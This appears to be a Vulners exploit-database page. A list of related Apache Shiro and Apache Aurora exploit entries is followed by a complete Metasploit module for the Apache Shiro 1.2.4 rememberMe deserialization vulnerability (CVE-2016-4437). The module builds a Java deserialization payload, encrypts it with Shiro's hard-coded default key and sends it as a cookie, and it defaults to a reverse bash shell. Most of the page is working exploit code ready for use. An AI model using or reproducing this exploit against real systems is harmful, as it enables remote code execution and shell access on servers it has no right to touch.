| Reporter | Title | Published | Views | Family All 47 |
|---|---|---|---|---|
| Apache Shiro 1.2.4 Remote Code Execution Exploit | 30 Apr 202000:00 | – | zdt | |
| Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora | 10 Dec 202219:28 | – | gitee | |
| Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora | 3 Nov 202019:53 | – | gitee | |
| Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora | 8 Oct 202017:10 | – | gitee | |
| Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora | 27 May 202005:02 | – | githubexploit | |
| Security Bulletin: IBM Planning Analytics Workspace is affected by security vulnerabilities | 24 Sep 202116:54 | – | ibm | |
| CVE-2016-4437 | 7 Jun 201600:00 | – | attackerkb | |
| CVE-2020-19229 | 5 Apr 202200:00 | – | attackerkb | |
| Apache Shiro Default Cipher Key (CVE-2016-4437) | 30 Mar 202200:00 | – | nessus | |
| Apache Shiro < 1.2.5 Default Cipher Key (CVE-2016-4437) | 15 Apr 202200:00 | – | nessus |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::JavaDeserialization
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
also be exploitable if the encryption key used by Shiro to encrypt rememberMe
cookies is known.
},
'License' => MSF_LICENSE,
'Author' => [
'L / l-codes[at]qq.com' # Metasploit module
],
'References' => [
['CVE', '2016-4437'],
['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
],
'Platform' => %w[win unix],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-06-07',
'Privileged' => false,
'DefaultOptions' => {
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
]
)
end
def aes_encrypt(payload)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.encrypt
aes.key = Rex::Text.decode_base64(datastore['ENC_KEY'])
aes.random_iv + aes.update(payload) + aes.final
end
def exploit
java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)
send_request_cgi({
'uri' => target_uri.path,
'method' => 'GET',
'cookie' => "rememberMe=#{base64_ciphertext}"
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation